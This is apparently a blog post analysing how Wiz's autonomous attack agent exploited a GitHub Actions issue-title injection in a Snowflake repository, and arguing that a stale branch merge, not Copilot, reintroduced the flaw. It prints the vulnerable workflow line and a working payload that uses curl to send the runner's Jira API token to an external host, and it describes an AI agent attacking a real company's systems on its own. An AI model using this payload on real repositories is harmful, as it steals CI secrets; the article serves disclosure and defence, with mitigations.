Devlery
Blog/Microsoft

An AI Attack Agent Reached Snowflake's Internal Jira via a 10-Month-Old Branch Merge

Wiz's autonomous attack agent smuggled shell commands through a GitHub issue title and exfiltrated Snowflake's internal Jira token. Despite reports blaming Copilot Autofix, the commit history shows a 10-month-old branch merge that reverted a December 2025 security fix.

An AI Attack Agent Reached Snowflake's Internal Jira via a 10-Month-Old Branch Merge
AI 요약
  • Commands planted in a GitHub issue title leaked Snowflake's internal Jira token.
  • The reporting blamed a Copilot Autofix commit; the commit history says otherwise.
  • A 10-month-old branch merge silently reverted a December 2025 security fix.

For five days, anyone who opened a GitHub issue on a public Snowflake repository could run commands on Snowflake's CI runner. On August 17, 2026, cloud security vendor Wiz published a research post saying its autonomous offensive agent, Wiz Red Agent, found and exploited that hole with no human in the loop, and used the token it stole to read Snowflake's internal Jira.

Wiz framed it as a flaw in a PR that GitHub Copilot had touched. The Register and several other outlets ran with the cleaner story: one AI broke the code, another AI exploited it. Open the repository's commit history, though, and the picture inverts. The commit carrying the Copilot Autofix trailer did not touch the vulnerable file at all. It hardened the file next to it.

One unescaped quote in an issue title

GitHub Actions substitutes ${{ ... }} expressions into the workflow file as raw text before the shell ever runs. Drop an issue title into a run: block that way and anyone who puts a quote and a semicolon in their title gets to run their own commands on the runner. Pass the same value through env: instead and the substitution never happens inside the shell. That is GitHub's own recommended mitigation.

The workflow at fault, jira_issue.yml in snowflakedb/snowflake-connector-net, automatically files a Jira ticket from the title and body every time an issue is opened. As of June, the code pulled the title straight into the shell with no env: indirection.

run: |
  # Escape special characters in title and body
  TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")

The sed meant to escape single quotes never stops the first one. The payload Wiz published walks through that gap, closes the echo string, appends its own command, and reopens the quote so the rest of the line still parses.

' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`" ; echo '

That single line pushed the runner's Jira API token, account email, and Jira base URL out to an external host, base64-encoded. Wiz reported that the leaked token authenticated as qa@snowflake.net and carried read access to engineering, security compliance, and bug bounty tracking projects. When the agent's first attempt failed, it rewrote the payload syntax on its own and tried again. How far the permissions handed to coding agents actually leak in practice showed the same pattern in an analysis of 400,000 command approvals.

GitHub commit 094038e diff view. A TITLE line wrapping the issue title expression in an echo is added in green inside the run block, with the gajira-create action call removed in red below it

Snowflake received the HackerOne report on June 23 and patched it the same day in PR #1402, rotating the Jira token the next day. The company said it investigated immediately, acted on it, and found no evidence of unauthorized access.

Copilot hardened the neighboring file

The commit record does not match the coverage. Pull the four commits in PR #1218 through the GitHub API and exactly one lists Copilot Autofix powered by AI as a co-author: 6d0e2fa, dated August 7, 2025. It changed one file, jira_close.yml, not jira_issue.yml. Here is what it did:

# removed
run: |
  ISSUE_KEY="${{ steps.extract.outputs.jira }}"
  JIRA_API_URL="${{ secrets.JIRA_BASE_URL }}/rest/api/2/issue/${ISSUE_KEY}/transitions"

# added
env:
  ISSUE_KEY: ${{ steps.extract.outputs.jira }}
  JIRA_BASE_URL: ${{ secrets.JIRA_BASE_URL }}
run: |
  JIRA_API_URL="${JIRA_BASE_URL}/rest/api/2/issue/${ISSUE_KEY}/transitions"

What Copilot Autofix proposed was precisely the injection defense pattern. Lift the expression out of the shell and into env:, the same construction that disappeared from the other file in June.

GitHub commit 6d0e2fa page. The commit message carries a Co-authored-by: Copilot Autofix powered by AI trailer, and the header reads 1 file changed, jira_close.yml only

The commit that actually introduced the injection is 094038e, dated August 25, 2025, two weeks later. A Snowflake engineer wrote it. There is no Copilot trailer on it. Because both commits lived on the same branch, the squash merge folded them into one commit that inherited the Copilot co-author line. The vulnerable lines and the AI attribution ended up in the same commit message as an artifact of the merge strategy, not as authorship.

After an internal review, GitHub told Forbes that the contribution leading to the vulnerability was human-written and that Copilot neither reviewed nor contributed to it. Wiz, on publication day, appended a sentence saying Copilot was a co-author that reviewed the merged PR and code changes and cleared it without catching the core vulnerability. The two accounts still contradict each other. On Hacker News, a comment citing commit 094038e as proof of human authorship rose to the top and the author conceded the point. Output stamped with an AI's name circulating unverified is structurally the same failure as six AI-fabricated SQLite vulnerabilities landing in NVD.

A branch that skipped 10 months buried the fix

So why did unsafe code land on master in June 2026? Follow the master history of jira_issue.yml and the answer falls out.

August 25, 2025

Branch update-jira-close-workflow swaps the Jira creation logic for curl and inlines the expression into the shell

December 8, 2025

PR #1289 hardens the same file on master using env: variables and jq --arg

June 18, 2026

The 10-month-old branch merges as PR #1218 and overwrites the December hardening

June 23, 2026

Wiz Red Agent finds and exploits it; PR #1402 restores env: + jq the same day

Snowflake had already fixed this once. On December 8, 2025, PR #1289 moved the title and body into an ISSUE_TITLE environment variable and built the JSON with jq -n --arg. Then on June 18, 2026, a branch created back in August 2025 merged as-is and rolled that six-month-old security fix backwards. The PR #1218 description only said it was cleaning up jira_close.yml. The file that actually changed was jira_issue.yml, where 90 lines came out and 60 went in.

Several conditions stacked against the reviewer. A file the PR description never mentioned changed alongside it, the branch and master had diverged for 10 months, and workflow YAML is not covered by tests. The repository's .github/workflows directory contains no CodeQL configuration file, only semgrep.yml. Whether GitHub's default setup was enabled cannot be verified from outside. What is verifiable is that no static analysis aimed at workflow files was committed to the repository.

Checking whether the same line is in your repository

The tooling for this is available today and mostly free. Here is what each option requires:

ItemzizmorCodeQL Actions analysis
FormCLI, runs locally or in CIGitHub code scanning feature
CostFree (MIT)Private repos need a GitHub Code Security license
Requirement

Install, then run zizmor .github/workflows

Enable default setup, or add the actions language to advanced setup

Regional limitsNoneNone

Copilot Autofix ships with CodeQL analysis at no extra subscription. But the documented fix-generation coverage is programming languages: C#, Go, Java/Kotlin, JavaScript/TypeScript, Python, Ruby, and Rust. On the Actions side, the April 2025 GA announcement only added automatic fixes for the actions/missing-workflow-permissions query. Do not design on the assumption that AI will catch workflow injection for you.

The work today is short. Run zizmor .github/workflows once and look for any run: block with ${{ github.event.* }} inlined into it. Where you find one, move the value into env:. The real trigger here, though, was merging a long-stale branch, so if you have one of those waiting, add a review step that diffs it against master specifically for security fixes landing in the interim. Wiz's attack agent needed five days from the moment the flaw hit master to find it in a public repository.